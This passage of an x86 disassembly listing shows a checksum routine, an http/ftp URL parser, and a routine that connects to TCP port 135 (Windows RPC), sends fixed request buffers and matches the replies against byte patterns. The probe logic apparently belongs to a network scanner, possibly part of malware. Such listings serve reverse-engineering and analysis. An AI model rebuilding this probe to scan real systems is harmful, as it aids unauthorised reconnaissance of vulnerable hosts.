[ebp+var_4] cmp ecx, 2 js short loc_420D39 loc_420D22: ; CODE XREF: sub_420D00+32j xor eax, eax mov ax, [edx] add ebx, eax sub ecx, 2 add edx, 2 cmp ecx, 1 jg short loc_420D22 cmp ecx, 0 jz short loc_420D4A loc_420D39: ; CODE XREF: sub_420D00+20j ; sub_420D00+48j xor eax, eax mov al, [edx] add ebx, eax sub ecx, 1 add edx, 1 cmp ecx, 0 jg short loc_420D39 loc_420D4A: ; CODE XREF: sub_420D00+37j mov [ebp+var_4], ebx mov eax, [ebp+var_4] shr eax, 10h mov ebx, [ebp+var_4] and ebx, 0FFFFh add eax, ebx mov ebx, eax shr ebx, 10h add eax, ebx mov [ebp+var_4], eax femms mov eax, [ebp+var_4] pop ebx not eax mov esp, ebp pop ebp retn sub_420D00 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_420DA0: ; CODE XREF: ___:00401019j mov eax, [esp+4] mov dword_50BB54, eax mov eax, offset dword_50BB54 retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_420DC0: ; CODE XREF: ___:00401771j push ebx push ebp push esi mov esi, [esp+10h] push edi mov edi, dword_50FAA0 push esi call edi ; ftell mov ebp, dword_50FA98 push 2 push 0 push esi mov ebx, eax call ebp ; fseek push esi call edi ; ftell push 0 push ebx push esi mov edi, eax call ebp ; fseek add esp, 20h mov eax, edi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420E10 proc near ; CODE XREF: sub_401938j var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420E10 push eax mov large fs:0, esp sub esp, 78h push ebx push esi mov esi, [esp+8Ch+arg_0] xor ebx, ebx cmp esi, ebx push edi jnz short loc_420E3F xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_420E3F: ; CODE XREF: sub_420E10+26j lea ecx, [esp+90h+var_84] call sub_401424 push esi lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], ebx call sub_4015D7 push offset asc_443C84 ; ":" lea eax, [esp+94h+var_54] push ebx push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE mov esi, [esp+90h+arg_4] push eax mov ecx, esi mov byte ptr [esp+94h+var_4], 1 call sub_401FBE lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420ECF push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420ECF lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_420ECF: ; CODE XREF: sub_420E10+92j ; sub_420E10+A2j push offset asc_444400 ; "/" lea ecx, [esp+94h+var_54] push 1 push ecx lea ecx, [esp+9Ch+var_84] call sub_4016AE push 40h mov ecx, eax mov byte ptr [esp+94h+var_4], 2 call sub_401D20 lea ecx, [esp+90h+var_54] mov edi, eax mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp edi, ebx push offset asc_444400 ; "/" push 1 jz loc_42120C lea edx, [esp+98h+var_24] lea ecx, [esp+98h+var_84] push edx call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 3 call sub_4016AE push offset asc_443C84 ; ":" lea edx, [esp+94h+var_54] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 4 call sub_4016AE lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 5 call sub_401FBE lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], 4 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 3 call sub_401226 lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F60 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_420FC9 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_420FC9: ; CODE XREF: sub_420E10+19Cj push offset asc_444400 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 6 call sub_4016AE push offset asc_443C84 ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 7 call sub_4016AE mov ecx, eax mov byte ptr [esp+90h+var_4], 8 call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 7 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 6 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421095 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42107E mov dword ptr [esi+54h], 50h loc_42107E: ; CODE XREF: sub_420E10+265j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421095 mov dword ptr [esi+54h], 15h loc_421095: ; CODE XREF: sub_420E10+255j ; sub_420E10+27Cj push offset asc_444400 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 9 call sub_4016AE push offset asc_443C84 ; ":" lea edx, [esp+94h+var_24] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ah call sub_4016AE lea edi, [esi+2Ah] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Bh call sub_401FBE lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Ah call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 9 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F60 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42114E lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_42114E: ; CODE XREF: sub_420E10+321j push offset asc_444400 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ch call sub_4016AE push offset asc_443C84 ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Dh call sub_4016AE lea edi, [esi+3Fh] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Eh call sub_401FBE lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Dh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 0Ch call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F60 mov ecx, edi call sub_4012EE test eax, eax jnz loc_421333 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_42120C: ; CODE XREF: sub_420E10+100j lea eax, [esp+98h+var_3C] lea ecx, [esp+98h+var_84] push eax call sub_4016AE push offset asc_443C84 ; ":" lea ecx, [esp+94h+var_24] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Fh call sub_4016AE lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 10h call sub_401FBE lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Fh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F60 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_421293 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_421293: ; CODE XREF: sub_420E10+466j push offset asc_444400 ; "/" lea edx, [esp+94h+var_3C] push 1 push edx lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset asc_443C84 ; ":" lea ecx, [esp+94h+var_24] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 11h call sub_4016AE mov ecx, eax mov byte ptr [esp+90h+var_4], 12h call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 11h call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421333 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42131C mov dword ptr [esi+54h], 50h loc_42131C: ; CODE XREF: sub_420E10+503j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421333 mov dword ptr [esi+54h], 15h loc_421333: ; CODE XREF: sub_420E10+3DBj ; sub_420E10+4F3j ... push offset asc_444400 ; "/" lea ecx, [esp+94h+var_84] call sub_4013E3 lea edx, [esp+90h+var_6C] push eax push edx lea ecx, [esp+98h+var_84] call sub_401E2E push offset asc_444400 ; "/" lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 13h call sub_4013E3 push eax lea eax, [esp+94h+var_24] push eax lea ecx, [esp+98h+var_6C] call sub_401E2E push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 14h call sub_40200E lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 push offset asc_444400 ; "/" lea ecx, [esp+94h+var_6C] call sub_4013E3 lea ecx, [esp+90h+var_24] push eax push ecx lea ecx, [esp+98h+var_6C] call sub_401E2E push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 15h call sub_40200E lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 add esi, 58h push offset asc_444400 ; "/" mov ecx, esi call sub_4015D7 lea edx, [esp+90h+var_6C] mov ecx, esi push edx call sub_4016BD lea ecx, [esp+90h+var_6C] mov byte ptr [esp+90h+var_4], bl call sub_401226 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_421419: ; CODE XREF: sub_420E10+2Aj ; sub_420E10+BAj ... mov ecx, [esp+90h+var_C] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 84h retn sub_420E10 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 190h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4215D0 proc near ; CODE XREF: sub_401AEBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov edx, [esp+arg_4] push ebx mov ebx, [esp+4+arg_C] push ebp sub edx, ebx xor eax, eax push esi push edi test edx, edx jle short loc_4215FB loc_4215E4: ; CODE XREF: sub_4215D0+29j mov esi, [esp+10h+arg_0] mov edi, [esp+10h+arg_8] add esi, eax mov ecx, ebx xor ebp, ebp repe cmpsb jz short loc_421602 inc eax cmp eax, edx jl short loc_4215E4 loc_4215FB: ; CODE XREF: sub_4215D0+12j pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_421602: ; CODE XREF: sub_4215D0+24j pop edi pop esi pop ebp mov al, 1 pop ebx retn sub_4215D0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_421620: ; CODE XREF: ___:0040209Aj mov eax, 2010h call sub_436840 mov eax, [esp+2018h] push ebp push esi dec eax push edi jz short loc_42166D dec eax jz short loc_421647 dec eax pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421647: ; CODE XREF: ___:00421638j mov eax, [esp+2020h] push 1388h push eax call sub_402004 add esp, 8 neg al sbb eax, eax pop edi pop esi and eax, 3 pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: ___:00421635j push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jz loc_4217C9 cmp esi, 0FFFFFFFFh jz loc_4217C9 xor ecx, ecx push 87h mov [esp+10h], ecx mov word ptr [esp+10h], 2 mov [esp+14h], ecx mov [esp+18h], ecx mov [esp+1Ch], ecx nop call near ptr 71AB2B66h mov edx, [esp+2020h] mov [esp+0Eh], ax push edx call sub_40187F add esp, 4 mov [esp+10h], eax lea eax, [esp+0Ch] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jz loc_4217C2 mov ebp, dword_50FC8C push 0 push 48h push offset dword_443DC8 push esi call ebp ; send cmp eax, 0FFFFFFFFh jz loc_4217C2 mov edi, dword_50FC90 push 0 lea ecx, [esp+20h] push 2000h push ecx push esi call edi ; recv cmp eax, 0FFFFFFFFh jz loc_4217C2 cmp byte ptr [esp+1Eh], 0Ch jnz loc_4217C2 push 0 push 18h push offset dword_443E3C push esi call ebp ; send cmp eax, 0FFFFFFFFh jz loc_4217C2 push 0 lea edx, [esp+20h] push 2000h push edx push esi call edi ; recv mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_4217C2 cmp byte ptr [esp+1Eh], 2 jnz short loc_4217C2 push 10h push offset loc_443E14 lea eax, [esp+24h] push edi push eax call sub_401AEB add esp, 10h test al, al jz short loc_421791 xor ecx, ecx cmp edi, 12Ch setnl cl inc ecx push esi mov edi, ecx call near ptr 71AB9639h nop mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421791: ; CODE XREF: ___:0042176Ej push 10h push offset dword_443E28 lea edx, [esp+24h] push edi push edx call sub_401AEB add esp, 10h neg al sbb eax, eax push esi and eax, 3 mov edi, eax nop call near ptr 71AB9639h mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_4217C2: ; CODE XREF: ___:004216DBj ; ___:004216F6j ... push esi nop call near ptr 71AB9639h loc_4217C9: ; CODE XREF: ___:0042167Ej ; ___:00421687j pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_421850: ; CODE XREF: ___:00401A00j xor al, al retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421870 proc near ; CODE XREF: sub_40120Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401311 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4010E6 sub_421870 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4218B0 proc near ; CODE XREF: sub_4018D9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401901 sub_4218B0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4218F0 proc near ; CODE XREF: sub_401816j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40196F mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4014D8 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401997 mov edx, [esi+4] mov ecx, esi push edx call sub_401947 sub_4218F0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421960 proc near ; CODE XREF: sub_4014D8j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_40204F mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401EBF mov eax, esi pop esi retn 4 sub_421960 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4219A0 proc near ; CODE XREF: sub_40196Fj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401EBF mov eax, esi pop esi retn 4 sub_4219A0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4219D0 proc near ; CODE XREF: sub_402167j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_40196F mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4018FC sub_4219D0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A10 proc near ; CODE XREF: sub_401703j push esi mov esi, ecx call sub_4019EC mov eax, esi pop esi retn sub_421A10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A30 proc near ; CODE XREF: sub_40122Bj mov eax, [ecx] push eax call sub_4010F5 add esp, 4 retn sub_421A30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A50 proc near ; CODE XREF: sub_40107Dj push esi mov esi, ecx mov eax, [esi] push eax call sub_40204F mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421A50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A80 proc near ; CODE XREF: sub_401802j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FFF neg al sbb eax, eax inc eax retn 4 sub_421A80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421AB0 proc near ; CODE XREF: sub_4016E0j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401212 sub_421AB0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421AF0 proc near ; CODE XREF: sub_401253j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4013ED mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40145B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40100F mov edx, [esi+4] mov ecx, esi push edx call sub_4021B7 sub_421AF0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B60 proc near ; CODE XREF: sub_40145Bj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_40110E mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401D75 mov eax, esi pop esi retn 4 sub_421B60 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421BA0 proc near ; CODE XREF: sub_4013EDj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401D75 mov eax, esi pop esi retn 4 sub_421BA0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421BD0 proc near ; CODE XREF: sub_401325j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4013ED mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401BAE sub_421BD0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C10 proc near ; CODE XREF: sub_401B40j push esi mov esi, ecx call sub_4011A9 mov eax, esi pop esi retn sub_421C10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C30 proc near ; CODE XREF: sub_401055j mov eax, [ecx] push eax call sub_40108C add esp, 4 retn sub_421C30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C50 proc near ; CODE XREF: sub_40182Aj push esi mov esi, ecx mov eax, [esi] push eax call sub_40110E mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421C50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C80 proc near ; CODE XREF: sub_4012BCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401D48 neg al sbb eax, eax inc eax retn 4 sub_421C80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421CB0 proc near ; CODE XREF: sub_4010E6j arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401ECE mov edi, eax push edi call sub_401B1D mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40139D sub_421CB0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401B1D push edi mov [eax], ebx call sub_401B1D mov edi, [eax] push edi call sub_401B1D mov ecx, [eax] push ecx call sub_4015D2 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401172 add esp, 4 mov ecx, esi push eax call sub_401E3D mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401D84 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421D50 proc near ; CODE XREF: sub_4018FCj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4010C8 mov edi, eax push edi call sub_401CF3 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401901 sub_421D50 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401CF3 push edi mov [eax], ebx call sub_401CF3 mov edi, [eax] push edi call sub_401CF3 mov ecx, [eax] push ecx call sub_40204F mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4010F5 add esp, 4 mov ecx, esi push eax call sub_4017E9 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401EBF mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421DF0 proc near ; CODE XREF: sub_401997j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401802 test al, al jz short loc_421E4A loc_421E08: ; CODE XREF: sub_421DF0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4020B8 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401A1E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401802 test al, al jnz short loc_421E08 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_421E4A: ; CODE XREF: sub_421DF0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_421DF0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421E80 proc near ; CODE XREF: sub_401901j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 24h call sub_401DF2 sub_421E80 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_421E95 mov edi, esi loc_421E95: ; CODE XREF: ___:00421E91j push esi call sub_40204F mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_421EAA mov edi, esi loc_421EAA: ; CODE XREF: ___:00421EA6j push esi call sub_401CF3 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421ED0 proc near ; CODE XREF: sub_401947j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401546 sub_421ED0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421EF0 proc near ; CODE XREF: sub_40204Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_421EF0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F10 proc near ; CODE XREF: sub_4010F5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_421F10 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F30 proc near ; CODE XREF: sub_4019ECj mov eax, ecx retn sub_421F30 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F50 proc near ; CODE XREF: sub_401EBFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401519 mov eax, esi pop esi retn 4 sub_421F50 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F80 proc near ; CODE XREF: sub_401FFFj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_421F80 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421FB0 proc near ; CODE XREF: sub_401BAEj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4018E8 mov edi, eax push edi call sub_4010EB mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401212 sub_421FB0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4010EB push edi mov [eax], ebx call sub_4010EB mov edi, [eax] push edi call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_40108C add esp, 4 mov ecx, esi push eax call sub_4013DE mov ecx, [esi+8] push edi inc ecx mov 